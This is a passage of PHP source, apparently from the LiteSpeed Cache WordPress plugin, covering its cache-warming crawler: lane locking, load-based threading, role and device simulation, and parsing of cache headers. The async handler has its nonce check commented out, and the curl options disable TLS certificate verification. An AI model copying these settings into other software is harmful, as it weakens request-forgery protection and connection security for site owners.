	public static function async_handler( $manually_run = false ) {
		self::debug('------------async-------------start_async_handler');
		// check_ajax_referer('async_crawler', 'nonce');
		self::start($manually_run);
	}

	/**
	 * Proceed crawling
	 *
	 * @since    1.1.0
	 * @access public
	 */
	public static function start( $manually_run = false ) {
		if (!Router::can_crawl()) {
			self::debug('......crawler is NOT allowed by the server admin......');
			return false;
		}

		if ($manually_run) {
			self::debug('......crawler manually ran......');
		}

		self::cls()->_crawl_data($manually_run);
	}

	/**
	 * Crawling start
	 *
	 * @since    1.1.0
	 * @access   private
	 */
	private function _crawl_data( $manually_run ) {
		if (!defined('LITESPEED_LANE_HASH')) {
			define('LITESPEED_LANE_HASH', Str::rrand(8));
		}
		if ($this->_check_valid_lane()) {
			$this->_take_over_lane();
		} else {
			self::debug('⚠️ lane in use');
			return;
			// if ($manually_run) {
			// self::debug('......crawler started (manually_rund)......');
			// Log pid to prevent from multi running
			// if (defined('LITESPEED_CLI')) {
			// Take over lane
			// self::debug('⚠️⚠️⚠️ Forced take over lane (CLI)');
			// $this->_take_over_lane();
			// }
			// }
		}
		self::debug('......crawler started......');

		// for the first time running
		if (!$this->_summary || !Data::cls()->tb_exist('crawler') || !Data::cls()->tb_exist('crawler_blacklist')) {
			$this->cls('Crawler_Map')->gen();
		}

		// if finished last time, regenerate sitemap
		if ($this->_summary['done'] === 'touchedEnd') {
			// check whole crawling interval
			$last_finished_at = $this->_summary['last_full_time_cost'] + $this->_summary['this_full_beginning_time'];
			if (!$manually_run && time() - $last_finished_at < $this->conf(Base::O_CRAWLER_CRAWL_INTERVAL)) {
				self::debug('Cron abort: cache warmed already.');
				// if not reach whole crawling interval, exit
				$this->Release_lane();
				return;
			}
			self::debug('TouchedEnd. regenerate sitemap....');
			$this->cls('Crawler_Map')->gen();
		}

		$this->list_crawlers();

		// Skip the crawlers that in bypassed list
		while (!$this->is_active($this->_summary['curr_crawler']) && $this->_summary['curr_crawler'] < count($this->_crawlers)) {
			self::debug('Skipped the Crawler #' . $this->_summary['curr_crawler'] . ' ......');
			++$this->_summary['curr_crawler'];
		}
		if ($this->_summary['curr_crawler'] >= count($this->_crawlers)) {
			$this->_end_reason = 'end';
			$this->_terminate_running();
			$this->Release_lane();
			return;
		}

		// In case crawlers are all done but not reload, reload it
		if (empty($this->_summary['curr_crawler']) || empty($this->_crawlers[$this->_summary['curr_crawler']])) {
			$this->_summary['curr_crawler']                                   = 0;
			$this->_summary['crawler_stats'][$this->_summary['curr_crawler']] = array();
		}

		$res = $this->load_conf();
		if (!$res) {
			self::debug('Load conf failed');
			$this->_terminate_running();
			$this->Release_lane();
			return;
		}

		try {
			$this->_engine_start();
			$this->Release_lane();
		} catch (\Exception $e) {
			self::debug('🛑 ' . $e->getMessage());
		}
	}

	/**
	 * Load conf before running crawler
	 *
	 * @since  3.0
	 * @access private
	 */
	private function load_conf() {
		$this->_crawler_conf['base'] = site_url();

		$current_crawler = $this->_crawlers[$this->_summary['curr_crawler']];

		/**
		 * Check cookie crawler
		 *
		 * @since  2.8
		 */
		foreach ($current_crawler as $k => $v) {
			if (strpos($k, 'cookie:') !== 0) {
				continue;
			}

			if ($v == '_null') {
				continue;
			}

			$this->_crawler_conf['cookies'][substr($k, 7)] = $v;
		}

		/**
		 * Set WebP simulation
		 *
		 * @since  1.9.1
		 */
		if (!empty($current_crawler['webp'])) {
			$this->_crawler_conf['headers'][] = 'Accept: image/' . ($this->conf(Base::O_IMG_OPTM_WEBP) == 2 ? 'avif' : 'webp') . ',*/*';
		}

		/**
		 * Set mobile crawler
		 *
		 * @since  2.8
		 */
		if (!empty($current_crawler['mobile'])) {
			$this->_crawler_conf['ua'] = 'Mobile iPhone';
		}

		/**
		 * Limit delay to use server setting
		 *
		 * @since 1.8.3
		 */
		$this->_crawler_conf['run_delay'] = 500; // microseconds
		if (defined('LITESPEED_CRAWLER_USLEEP') && constant('LITESPEED_CRAWLER_USLEEP') > $this->_crawler_conf['run_delay']) {
			$this->_crawler_conf['run_delay'] = constant('LITESPEED_CRAWLER_USLEEP');
		}
		if (!empty($_SERVER[Base::ENV_CRAWLER_USLEEP]) && $_SERVER[Base::ENV_CRAWLER_USLEEP] > $this->_crawler_conf['run_delay']) {
			$this->_crawler_conf['run_delay'] = $_SERVER[Base::ENV_CRAWLER_USLEEP];
		}

		$this->_crawler_conf['run_duration'] = $this->get_crawler_duration();

		$this->_crawler_conf['load_limit'] = $this->conf(Base::O_CRAWLER_LOAD_LIMIT);
		if (!empty($_SERVER[Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE])) {
			$this->_crawler_conf['load_limit'] = $_SERVER[Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE];
		} elseif (!empty($_SERVER[Base::ENV_CRAWLER_LOAD_LIMIT]) && $_SERVER[Base::ENV_CRAWLER_LOAD_LIMIT] < $this->_crawler_conf['load_limit']) {
			$this->_crawler_conf['load_limit'] = $_SERVER[Base::ENV_CRAWLER_LOAD_LIMIT];
		}
		if ($this->_crawler_conf['load_limit'] == 0) {
			self::debug('🛑 Terminated crawler due to load limit set to 0');
			return false;
		}

		/**
		 * Set role simulation
		 *
		 * @since 1.9.1
		 */
		if (!empty($current_crawler['uid'])) {
			if (!$this->_server_ip) {
				self::debug('🛑 Terminated crawler due to Server IP not set');
				return false;
			}
			// Get role simulation vary name
			$vary_name                                  = $this->cls('Vary')->get_vary_name();
			$vary_val                                   = $this->cls('Vary')->finalize_default_vary($current_crawler['uid']);
			$this->_crawler_conf['cookies'][$vary_name] = $vary_val;
			$this->_crawler_conf['cookies']['litespeed_hash'] = Router::cls()->get_hash($current_crawler['uid']);
		}

		return true;
	}

	/**
	 * Get crawler duration allowance
	 *
	 * @since 7.0
	 */
	public function get_crawler_duration() {
		$RUN_DURATION = defined('LITESPEED_CRAWLER_DURATION') ? constant('LITESPEED_CRAWLER_DURATION') : 900;
		if ($RUN_DURATION > 900) {
			$RUN_DURATION = 900; // reset to default value if defined in conf file is higher than 900 seconds for security enhancement
		}
		return $RUN_DURATION;
	}

	/**
	 * Start crawler
	 *
	 * @since  1.1.0
	 * @access private
	 */
	private function _engine_start() {
		// check if is running
		// if ($this->_summary['is_running'] && time() - $this->_summary['is_running'] < $this->_crawler_conf['run_duration']) {
		// $this->_end_reason = 'stopped';
		// self::debug('The crawler is running.');
		// return;
		// }

		// check current load
		$this->_adjust_current_threads();
		if ($this->_cur_threads == 0) {
			$this->_end_reason = 'stopped_highload';
			self::debug('Stopped due to heavy load.');
			return;
		}

		// log started time
		self::save_summary(array( 'last_start_time' => time() ));

		// set time limit
		$maxTime = (int) ini_get('max_execution_time');
		self::debug('ini_get max_execution_time=' . $maxTime);
		if ($maxTime == 0) {
			$maxTime = 300; // hardlimit
		} else {
			$maxTime -= 5;
		}
		if ($maxTime >= $this->_crawler_conf['run_duration']) {
			$maxTime = $this->_crawler_conf['run_duration'];
			self::debug('Use run_duration setting as max_execution_time=' . $maxTime);
		} elseif (ini_set('max_execution_time', $this->_crawler_conf['run_duration'] + 15) !== false) {
			$maxTime = $this->_crawler_conf['run_duration'];
			self::debug('ini_set max_execution_time=' . $maxTime);
		}
		self::debug('final max_execution_time=' . $maxTime);
		$this->_max_run_time = $maxTime + time();

		// mark running
		$this->_prepare_running();
		// run crawler
		$this->_do_running();
		$this->_terminate_running();
	}

	/**
	 * Get server load
	 *
	 * @since 5.5
	 */
	public function get_server_load() {
		/**
		 * If server is windows, exit
		 *
		 * @see  https://wordpress.org/support/topic/crawler-keeps-causing-crashes/
		 */
		if (!function_exists('sys_getloadavg')) {
			return -1;
		}

		$curload = sys_getloadavg();
		$curload = $curload[0];
		self::debug('Server load: ' . $curload);
		return $curload;
	}

	/**
	 * Adjust threads dynamically
	 *
	 * @since  1.1.0
	 * @access private
	 */
	private function _adjust_current_threads() {
		$curload = $this->get_server_load();
		if ($curload == -1) {
			self::debug('set threads=0 due to func sys_getloadavg not exist!');
			$this->_cur_threads = 0;
			return;
		}

		$curload /= $this->_ncpu;
		// $curload = 1;
		$CRAWLER_THREADS = defined('LITESPEED_CRAWLER_THREADS') ? constant('LITESPEED_CRAWLER_THREADS') : 3;

		if ($this->_cur_threads == -1) {
			// init
			if ($curload > $this->_crawler_conf['load_limit']) {
				$curthreads = 0;
			} elseif ($curload >= $this->_crawler_conf['load_limit'] - 1) {
				$curthreads = 1;
			} else {
				$curthreads = intval($this->_crawler_conf['load_limit'] - $curload);
				if ($curthreads > $CRAWLER_THREADS) {
					$curthreads = $CRAWLER_THREADS;
				}
			}
		} else {
			// adjust
			$curthreads = $this->_cur_threads;
			if ($curload >= $this->_crawler_conf['load_limit'] + 1) {
				sleep(5); // sleep 5 secs
				if ($curthreads >= 1) {
					--$curthreads;
				}
			} elseif ($curload >= $this->_crawler_conf['load_limit']) {
				// if ( $curthreads > 1 ) {// if already 1, keep
				--$curthreads;
				// }
			} elseif ($curload + 1 < $this->_crawler_conf['load_limit']) {
				if ($curthreads < $CRAWLER_THREADS) {
					++$curthreads;
				}
			}
		}

		// $log = 'set current threads = ' . $curthreads . ' previous=' . $this->_cur_threads
		// . ' max_allowed=' . $CRAWLER_THREADS . ' load_limit=' . $this->_crawler_conf[ 'load_limit' ] . ' current_load=' . $curload;

		$this->_cur_threads     = $curthreads;
		$this->_cur_thread_time = time();
	}

	/**
	 * Mark running status
	 *
	 * @since  1.1.0
	 * @access private
	 */
	private function _prepare_running() {
		$this->_summary['is_running']   = time();
		$this->_summary['done']         = 0; // reset done status
		$this->_summary['last_status']  = 'prepare running';
		$this->_summary['last_crawled'] = 0;

		// Current crawler starttime mark
		if ($this->_summary['last_pos'] == 0) {
			$this->_summary['curr_crawler_beginning_time'] = time();
		}

		if ($this->_summary['curr_crawler'] == 0 && $this->_summary['last_pos'] == 0) {
			$this->_summary['this_full_beginning_time'] = time();
			$this->_summary['list_size']                = $this->cls('Crawler_Map')->count_map();
		}

		if ($this->_summary['end_reason'] == 'end' && $this->_summary['last_pos'] == 0) {
			$this->_summary['crawler_stats'][$this->_summary['curr_crawler']] = array();
		}

		self::save_summary();
	}

	/**
	 * Take over lane
	 *
	 * @since 6.1
	 */
	private function _take_over_lane() {
		self::debug('Take over lane as lane is free: ' . $this->json_local_path() . '.pid');
		File::save($this->json_local_path() . '.pid', LITESPEED_LANE_HASH);
	}

	/**
	 * Update lane file
	 *
	 * @since 6.1
	 */
	private function _touch_lane() {
		touch($this->json_local_path() . '.pid');
	}

	/**
	 * Release lane file
	 *
	 * @since 6.1
	 */
	public function Release_lane() {
		$lane_file = $this->json_local_path() . '.pid';
		if (!file_exists($lane_file)) {
			return;
		}

		self::debug('Release lane');
		unlink($lane_file);
	}

	/**
	 * Check if lane is used by other crawlers
	 *
	 * @since 6.1
	 */
	private function _check_valid_lane( $strict_mode = false ) {
		// Check lane hash
		$lane_file = $this->json_local_path() . '.pid';
		if ($strict_mode) {
			if (!file_exists($lane_file)) {
				self::debug("lane file not existed, strict mode is false [file] $lane_file");
				return false;
			}
		}
		$pid = File::read($lane_file);
		if ($pid && LITESPEED_LANE_HASH != $pid) {
			// If lane file is older than 1h, ignore
			if (time() - filemtime($lane_file) > 3600) {
				self::debug('Lane file is older than 1h, releasing lane');
				$this->Release_lane();
				return true;
			}
			return false;
		}
		return true;
	}

	/**
	 * Test port for simulator
	 *
	 * @since  7.0
	 * @access private
	 * @return bool true if success and can continue crawling, false if failed and need to stop
	 */
	private function _test_port() {
		if (!$this->_server_ip) {
			if (empty($this->_crawlers[$this->_summary['curr_crawler']]['uid'])) {
				self::debug('Bypass test port as Server IP is not set');
				return true;
			}
			self::debug('❌ Server IP not set');
			return false;
		}
		if (defined('LITESPEED_CRAWLER_LOCAL_PORT')) {
			self::debug('✅ LITESPEED_CRAWLER_LOCAL_PORT already defined');
			return true;
		}
		// Don't repeat testing in 120s
		if (!empty($this->_summary['test_port_tts']) && time() - $this->_summary['test_port_tts'] < 120) {
			if (!empty($this->_summary['test_port'])) {
				self::debug('✅ Use tested local port: ' . $this->_summary['test_port']);
				define('LITESPEED_CRAWLER_LOCAL_PORT', $this->_summary['test_port']);
				return true;
			}
			return false;
		}
		$this->_summary['test_port_tts'] = time();
		self::save_summary();

		$options = $this->_get_curl_options();
		$home    = home_url();
		File::save(LITESPEED_STATIC_DIR . '/crawler/test_port.html', $home, true);
		$url        = LITESPEED_STATIC_URL . '/crawler/test_port.html';
		$parsed_url = parse_url($url);
		if (empty($parsed_url['host'])) {
			self::debug('❌ Test port failed, invalid URL: ' . $url);
			return false;
		}
		$resolved                              = $parsed_url['host'] . ':443:' . $this->_server_ip;
		$options[CURLOPT_RESOLVE]              = array( $resolved );
		$options[CURLOPT_DNS_USE_GLOBAL_CACHE] = false;
		$options[CURLOPT_HEADER]               = false;
		self::debug('Test local 443 port for ' . $resolved);

		$ch = curl_init();
		curl_setopt_array($ch, $options);
		curl_setopt($ch, CURLOPT_URL, $url);
		$result      = curl_exec($ch);
		$test_result = false;
		if (curl_errno($ch) || $result !== $home) {
			if (curl_errno($ch)) {
				self::debug('❌ Test port curl error: [errNo] ' . curl_errno($ch) . ' [err] ' . curl_error($ch));
			} elseif ($result !== $home) {
				self::debug('❌ Test port response is wrong: ' . $result);
			}
			self::debug('❌ Test local 443 port failed, try port 80');

			// Try port 80
			$resolved                 = $parsed_url['host'] . ':80:' . $this->_server_ip;
			$options[CURLOPT_RESOLVE] = array( $resolved );
			$url                      = str_replace('https://', 'http://', $url);
			if (!in_array('X-Forwarded-Proto: https', $options[CURLOPT_HTTPHEADER])) {
				$options[CURLOPT_HTTPHEADER][] = 'X-Forwarded-Proto: https';
			}
			// $options[CURLOPT_HTTPHEADER][] = 'X-Forwarded-SSL: on';
			$ch = curl_init();
			curl_setopt_array($ch, $options);
			curl_setopt($ch, CURLOPT_URL, $url);
			$result = curl_exec($ch);
			if (curl_errno($ch)) {
				self::debug('❌ Test port curl error: [errNo] ' . curl_errno($ch) . ' [err] ' . curl_error($ch));
			} elseif ($result !== $home) {
				self::debug('❌ Test port response is wrong: ' . $result);
			} else {
				self::debug('✅ Test local 80 port successfully');
				define('LITESPEED_CRAWLER_LOCAL_PORT', 80);
				$this->_summary['test_port'] = 80;
				$test_result                 = true;
			}
			// self::debug('Response data: ' . $result);
			// $this->Release_lane();
			// exit($result);
		} else {
			self::debug('✅ Tested local 443 port successfully');
			define('LITESPEED_CRAWLER_LOCAL_PORT', 443);
			$this->_summary['test_port'] = 443;
			$test_result                 = true;
		}
		self::save_summary();
		curl_close($ch);
		return $test_result;
	}

	/**
	 * Run crawler
	 *
	 * @since  1.1.0
	 * @access private
	 */
	private function _do_running() {
		$options = $this->_get_curl_options(true);

		// If is role simulator and not defined local port, check port once
		$test_result = $this->_test_port();
		if (!$test_result) {
			$this->_end_reason = 'port_test_failed';
			self::debug('❌ Test port failed, crawler stopped.');
			return;
		}

		while ($urlChunks = $this->cls('Crawler_Map')->list_map(self::CHUNKS, $this->_summary['last_pos'])) {
			// self::debug('$urlChunks=' . count($urlChunks) . ' $this->_cur_threads=' . $this->_cur_threads);
			// start crawling
			$urlChunks = array_chunk($urlChunks, $this->_cur_threads);
			// self::debug('$urlChunks after array_chunk: ' . count($urlChunks));
			foreach ($urlChunks as $rows) {
				if (!$this->_check_valid_lane(true)) {
					$this->_end_reason = 'lane_invalid';
					self::debug('🛑 The crawler lane is used by newer crawler.');
					throw new \Exception('invalid crawler lane');
				}
				// Update time
				$this->_touch_lane();

				// self::debug('chunk fetching count($rows)= ' . count($rows));
				// multi curl
				$rets = $this->_multi_request($rows, $options);

				// check result headers
				foreach ($rows as $row) {
					// self::debug('chunk fetching 553');
					if (empty($rets[$row['id']])) {
						// If already in blacklist, no curl happened, no corresponding record
						continue;
					}
					// self::debug('chunk fetching 557');
					// check response
					if ($rets[$row['id']]['code'] == 428) {
						// HTTP/1.1 428 Precondition Required (need to test)
						$this->_end_reason = 'crawler_disabled';
						self::debug('crawler_disabled');
						return;
					}

					$status = $this->_status_parse($rets[$row['id']]['header'], $rets[$row['id']]['code'], $row['url']); // B or H or M or N(nocache)
					self::debug('[status] ' . $this->_status2title($status) . "\t\t [url] " . $row['url']);
					$this->_map_status_list[$status][$row['id']] = array(
						'url' => $row['url'],
						'code' => $rets[$row['id']]['code'], // 201 or 200 or 404
					);
					if (empty($this->_summary['crawler_stats'][$this->_summary['curr_crawler']][$status])) {
						$this->_summary['crawler_stats'][$this->_summary['curr_crawler']][$status] = 0;
					}
					++$this->_summary['crawler_stats'][$this->_summary['curr_crawler']][$status];
				}

				// update offset position
				$_time                              = time();
				$this->_summary['last_count']       = count($rows);
				$this->_summary['last_pos']        += $this->_summary['last_count'];
				$this->_summary['last_crawled']    += $this->_summary['last_count'];
				$this->_summary['last_update_time'] = $_time;
				$this->_summary['last_status']      = 'updated position';
				// self::debug("chunk fetching 604 last_pos:{$this->_summary['last_pos']} last_count:{$this->_summary['last_count']} last_crawled:{$this->_summary['last_crawled']}");
				// check duration
				if ($this->_summary['last_update_time'] > $this->_max_run_time) {
					$this->_end_reason = 'stopped_maxtime';
					self::debug('Terminated due to maxtime');
					return;
					// return __('Stopped due to exceeding defined Maximum Run Time', 'litespeed-cache');
				}

				// make sure at least each 10s save meta & map status once
				if ($_time - $this->_summary['meta_save_time'] > 10) {
					$this->_map_status_list = $this->cls('Crawler_Map')->save_map_status($this->_map_status_list, $this->_summary['curr_crawler']);
					self::save_summary();
				}
				// self::debug('chunk fetching 597');
				// check if need to reset pos each 5s
				if ($_time > $this->_summary['pos_reset_check']) {
					$this->_summary['pos_reset_check'] = $_time + 5;
					if (file_exists($this->_resetfile) && unlink($this->_resetfile)) {
						self::debug('Terminated due to reset file');

						$this->_summary['last_pos']                                       = 0;
						$this->_summary['curr_crawler']                                   = 0;
						$this->_summary['crawler_stats'][$this->_summary['curr_crawler']] = array();
						// reset done status
						$this->_summary['done']                     = 0;
						$this->_summary['this_full_beginning_time'] = 0;
						$this->_end_reason                          = 'stopped_reset';
						return;
						// return __('Stopped due to reset meta position', 'litespeed-cache');
					}
				}
				// self::debug('chunk fetching 615');
				// check loads
				if ($this->_summary['last_update_time'] - $this->_cur_thread_time > 60) {
					$this->_adjust_current_threads();
					if ($this->_cur_threads == 0) {
						$this->_end_reason = 'stopped_highload';
						self::debug('🛑 Terminated due to highload');
						return;
						// return __('Stopped due to load over limit', 'litespeed-cache');
					}
				}

				$this->_summary['last_status'] = 'sleeping ' . $this->_crawler_conf['run_delay'] . 'ms';

				usleep($this->_crawler_conf['run_delay']);
			}
			// self::debug('chunk fetching done');
		}

		// All URLs are done for current crawler
		$this->_end_reason = 'end';
		$this->_summary['crawler_stats'][$this->_summary['curr_crawler']]['W'] = 0;
		self::debug('Crawler #' . $this->_summary['curr_crawler'] . ' touched end');
	}

	/**
	 * If need to resolve DNS or not
	 *
	 * @since 7.3.0.1
	 */
	private function _should_force_resolve_dns() {
		if ($this->_server_ip) {
			return true;
		}
		if (!empty($this->_crawler_conf['cookies']) && !empty($this->_crawler_conf['cookies']['litespeed_hash'])) {
			return true;
		}
		return false;
	}

	/**
	 * Send multi curl requests
	 * If res=B, bypass request and won't return
	 *
	 * @since  1.1.0
	 * @access private
	 */
	private function _multi_request( $rows, $options ) {
		if (!function_exists('curl_multi_init')) {
			exit('curl_multi_init disabled');
		}
		$mh                  = curl_multi_init();
		$CRAWLER_DROP_DOMAIN = defined('LITESPEED_CRAWLER_DROP_DOMAIN') ? constant('LITESPEED_CRAWLER_DROP_DOMAIN') : false;
		$curls               = array();
		foreach ($rows as $row) {
			if (substr($row['res'], $this->_summary['curr_crawler'], 1) == self::STATUS_BLACKLIST) {
				continue;
			}
			if (substr($row['res'], $this->_summary['curr_crawler'], 1) == self::STATUS_NOCACHE) {
				continue;
			}

			if (!function_exists('curl_init')) {
				exit('curl_init disabled');
			}

			$curls[$row['id']] = curl_init();

			// Append URL
			$url = $row['url'];
			if ($CRAWLER_DROP_DOMAIN) {
				$url = $this->_crawler_conf['base'] . $row['url'];
			}

			// IP resolve
			if ($this->_should_force_resolve_dns()) {
				$parsed_url = parse_url($url);
				// self::debug('Crawl role simulator, required to use localhost for resolve');

				if (!empty($parsed_url['host'])) {
					$dom                                   = $parsed_url['host'];
					$port                                  = defined('LITESPEED_CRAWLER_LOCAL_PORT') ? LITESPEED_CRAWLER_LOCAL_PORT : '443';
					$resolved                              = $dom . ':' . $port . ':' . $this->_server_ip;
					$options[CURLOPT_RESOLVE]              = array( $resolved );
					$options[CURLOPT_DNS_USE_GLOBAL_CACHE] = false;
					// $options[CURLOPT_PORT] = $port;
					if ($port == 80) {
						$url = str_replace('https://', 'http://', $url);
						if (!in_array('X-Forwarded-Proto: https', $options[CURLOPT_HTTPHEADER])) {
							$options[CURLOPT_HTTPHEADER][] = 'X-Forwarded-Proto: https';
						}
					}
					self::debug('Resolved DNS for ' . $resolved);
				}
			}

			curl_setopt($curls[$row['id']], CURLOPT_URL, $url);
			self::debug('Crawling [url] ' . $url . ($url == $row['url'] ? '' : ' [ori] ' . $row['url']));

			curl_setopt_array($curls[$row['id']], $options);

			curl_multi_add_handle($mh, $curls[$row['id']]);
		}

		// execute curl
		if ($curls) {
			do {
				$status = curl_multi_exec($mh, $active);
				if ($active) {
					curl_multi_select($mh);
				}
			} while ($active && $status == CURLM_OK);
		}

		// curl done
		$ret = array();
		foreach ($rows as $row) {
			if (substr($row['res'], $this->_summary['curr_crawler'], 1) == self::STATUS_BLACKLIST) {
				continue;
			}
			if (substr($row['res'], $this->_summary['curr_crawler'], 1) == self::STATUS_NOCACHE) {
				continue;
			}
			// self::debug('-----debug3');
			$ch = $curls[$row['id']];

			// Parse header
			$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
			$content     = curl_multi_getcontent($ch);
			$header      = substr($content, 0, $header_size);

			$ret[$row['id']] = array(
				'header' => $header,
				'code' => curl_getinfo($ch, CURLINFO_HTTP_CODE),
			);
			// self::debug('-----debug4');
			curl_multi_remove_handle($mh, $ch);
			curl_close($ch);
		}
		// self::debug('-----debug5');
		curl_multi_close($mh);
		// self::debug('-----debug6');
		return $ret;
	}

	/**
	 * Translate the status to title
	 *
	 * @since 6.0
	 */
	private function _status2title( $status ) {
		if ($status == self::STATUS_HIT) {
			return '✅ Hit';
		}
		if ($status == self::STATUS_MISS) {
			return '😊 Miss';
		}
		if ($status == self::STATUS_BLACKLIST) {
			return '😅 Blacklisted';
		}
		if ($status == self::STATUS_NOCACHE) {
			return '😅 Blacklisted';
		}
		return '🛸 Unknown';
	}

	/**
	 * Check returned curl header to find if cached or not
	 *
	 * @since  2.0
	 * @access private
	 */
	private function _status_parse( $header, $code, $url ) {
		// self::debug('http status code: ' . $code . ' [headers]', $header);
		if ($code == 201) {
			return self::STATUS_HIT;
		}

		if (stripos($header, 'X-Litespeed-Cache-Control: no-cache') !== false) {
			// If is from DIVI, taken as miss
			if (defined('LITESPEED_CRAWLER_IGNORE_NONCACHEABLE') && LITESPEED_CRAWLER_IGNORE_NONCACHEABLE) {
				return self::STATUS_MISS;
			}

			// If blacklist is disabled
			if ((defined('LITESPEED_CRAWLER_DISABLE_BLOCKLIST') && constant('LITESPEED_CRAWLER_DISABLE_BLOCKLIST')) || apply_filters('litespeed_crawler_disable_blocklist', false, $url)) {
				return self::STATUS_MISS;
			}

			return self::STATUS_NOCACHE; // Blacklist
		}

		$_cache_headers = array( 'x-litespeed-cache', 'x-qc-cache', 'x-lsadc-cache' );

		foreach ($_cache_headers as $_header) {
			if (stripos($header, $_header) !== false) {
				if (stripos($header, $_header . ': bkn') !== false) {
					return self::STATUS_HIT; // Hit
				}
				if (stripos($header, $_header . ': miss') !== false) {
					return self::STATUS_MISS; // Miss
				}
				return self::STATUS_HIT; // Hit
			}
		}

		// If blacklist is disabled
		if ((defined('LITESPEED_CRAWLER_DISABLE_BLOCKLIST') && constant('LITESPEED_CRAWLER_DISABLE_BLOCKLIST')) || apply_filters('litespeed_crawler_disable_blocklist', false, $url)) {
			return self::STATUS_MISS;
		}

		return self::STATUS_BLACKLIST; // Blacklist
	}

	/**
	 * Get curl_options
	 *
	 * @since  1.1.0
	 * @access private
	 */
	private function _get_curl_options( $crawler_only = false ) {
		$CRAWLER_TIMEOUT               = defined('LITESPEED_CRAWLER_TIMEOUT') ? constant('LITESPEED_CRAWLER_TIMEOUT') : 30;
		$options                       = array(
			CURLOPT_RETURNTRANSFER => true,
			CURLOPT_HEADER => true,
			CURLOPT_CUSTOMREQUEST => 'GET',
			CURLOPT_FOLLOWLOCATION => false,
			CURLOPT_ENCODING => 'gzip',
			CURLOPT_CONNECTTIMEOUT => 10,
			CURLOPT_TIMEOUT => $CRAWLER_TIMEOUT, // Larger timeout to avoid incorrect blacklist addition #900171
			CURLOPT_SSL_VERIFYHOST => 0,
			CURLOPT_SSL_VERIFYPEER => false,
			CURLOPT_NOBODY => false,
			CURLOPT_HTTPHEADER => $this->_crawler_conf['headers'],
		);
		$options[CURLOPT_HTTPHEADER][] = 'Cache-Control: max-age=0';

		/**
		 * Try to enable http2 connection (only available since PHP7+)
		 *
		 * @since  1.9.1
		 * @since  2.2.7 Commented due to cause no-cache issue
		 * @since  2.9.1+ Fixed wrongly usage of CURL_HTTP_VERSION_1_1 const
		 */
		$options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;
		// $options[ CURL_HTTP_VERSION_2 ] = 1;

		// if is walker
		// $options[ CURLOPT_FRESH_CONNECT ] = true;

		// Referer
		if (isset($_SERVER['HTTP_HOST']) && isset($_SERVER['REQUEST_URI'])) {
			$options[CURLOPT_REFERER] = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
		}

		// User Agent
		if ($crawler_only) {
			if (strpos($this->_crawler_conf['ua'], self::FAST_USER_AGENT) !== 0) {
				$this->_crawler_conf['ua'] = self::FAST_USER_AGENT . ' ' . $this->_crawler_conf['ua'];
			}
		}
		$options[CURLOPT_USERAGENT] = $this->_crawler_conf['ua'];

		// Cookies
		$cookies = array();
		foreach ($this->_crawler_conf['cookies'] as $k => $v) {
			if (!$v) {
				continue;
			}
			$cookies[] = $k . '=' . urlencode($v);
		}
		if ($cookies) {
			$options[CURLOPT_COOKIE] = implode('; ', $cookies);
		}

		return $options;
	}

	/**
	 * Self curl to get HTML content
	 *
	 * @since  3.3
	 */
	public function self_curl( $url, $ua, $uid = false, $accept = false ) {
		// $accept not in use yet
		$this->_crawler_conf['base'] = site_url();
		$this->_crawler_conf['ua']   = $ua;
		if ($accept) {
			$this->_crawler_conf['headers'] = array( 'Accept: ' . $accept );
		}
		$options = $this->_get_curl_options();

		if ($uid) {
			$this->_crawler_conf['cookies']['litespeed_flash_hash'] = Router::cls()->get_flash_hash($uid);
			$parsed_url = parse_url($url);

			if (!empty($parsed_url['host'])) {
				$dom                                   = $parsed_url['host'];
				$port                                  = defined('LITESPEED_CRAWLER_LOCAL_PORT') ? LITESPEED_CRAWLER_LOCAL_PORT : '443'; // TODO: need to test port?
				$resolved                              = $dom . ':' . $port . ':' . $this->_server_ip;
				$options[CURLOPT_RESOLVE]              = array( $resolved );
				$options[CURLOPT_DNS_USE_GLOBAL_CACHE] = false;
				$options[CURLOPT_PORT]                 = $port;
				self::debug('Resolved DNS for ' . $resolved);
			}
		}

		$options[CURLOPT_HEADER]         = false;
		$options[CURLOPT_FOLLOWLOCATION] = true;

		$ch = curl_init();
		curl_setopt_array($ch, $options);
		curl_setopt($ch, CURLOPT_URL, $url);
		$result = curl_exec($ch);
		$code   = curl_getinfo($ch, CURLINFO_HTTP_CODE);
		curl_close($ch);

		if ($code != 200) {
			self::debug('❌ Response code is not 200 in self_curl() [code] ' . var_export($code, true));
			return false;
		}

		return $result;
	}

	/**
	 * Terminate crawling
	 *
	 * @since  1.1.0
	 * @access private
	 */
	private function _terminate_running() {
		$this->_map_status_list = $this->cls('Crawler_Map')->save_map_status($this->_map_status_list, $this->_summary['curr_crawler']);

		if ($this->_end_reason == 'end') {
			// Current crawler is fully done
			// $end_reason = sprintf( __( 'Crawler %s reached end of sitemap file.', 'litespeed-cache' ), '#' . ( $this->_summary['curr_crawler'] + 1 ) );
			++$this->_summary['curr_crawler']; // Jump to next crawler
			// $this->_summary[ 'crawler_stats' ][ $this->_summary[ 'curr_crawler' ] ] = array(); // reset this at next crawl time
			$this->_summary['last_pos']                = 0; // reset last position
			$this->_summary['last_crawler_total_cost'] = time() - $this->_summary['curr_crawler_beginning_time'];
			$count_crawlers                            = count($this->list_crawlers());
			if ($this->_summary['curr_crawler'] >= $count_crawlers) {
				self::debug('_terminate_running Touched end, whole crawled. Reload crawler!');
				$this->_summary['curr_crawler'] = 0;
				// $this->_summary[ 'crawler_stats' ][ $this->_summary[ 'curr_crawler' ] ] = array();
				$this->_summary['done']                = 'touchedEnd'; // log done status
				$this->_summary['last_full_time_cost'] = time() - $this->_summary['this_full_beginning_time'];
			}
		}
		$this->_summary['last_status'] = 'stopped';
		$this->_summary['is_running']  = 0;
		$this->_summary['end_reason']  = $this->_end_reason;
		self::save_summary();
	}

	/**
	 * List all crawlers ( tagA => [ valueA => titleA, ... ] ...)
	 *
	 * @since    1.9.1
	 * @access   public
	 */
	public function list_crawlers() {
		if ($this->_crawlers) {
			return $this->_crawlers;
		}

		$crawler_factors = array();

		// Add default Guest crawler
		$crawler_factors['uid'] = array( 0 => __('Guest', 'litespeed-cache') );

		// WebP on/off
		if ($this->conf(Base::O_IMG_OPTM_WEBP)) {
			$crawler_factors['webp'] = array( 1 => $this->cls('Media')->next_gen_image_title() );
			if (apply_filters('litespeed_crawler_webp', false)) {
				$crawler_factors['webp'][0] = '';
			}
		}

		// Guest Mode on/off
